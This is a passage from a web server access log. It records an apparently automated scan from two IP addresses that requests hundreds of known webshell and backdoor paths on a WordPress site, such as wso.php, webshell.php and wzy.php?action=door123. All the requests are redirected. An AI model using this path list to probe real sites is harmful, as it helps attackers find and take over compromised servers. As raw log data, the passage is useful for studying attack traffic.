/.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:19 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:19 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:20 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:20 -0400] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:21 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:21 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:21 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:21 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:21 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:22 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:22 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:22 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:22 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:22 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:23 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:24 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:24 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:24 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:24 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:24 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:24 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:24 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:24 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:25 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:25 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:25 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:25 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:25 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:26 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:26 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 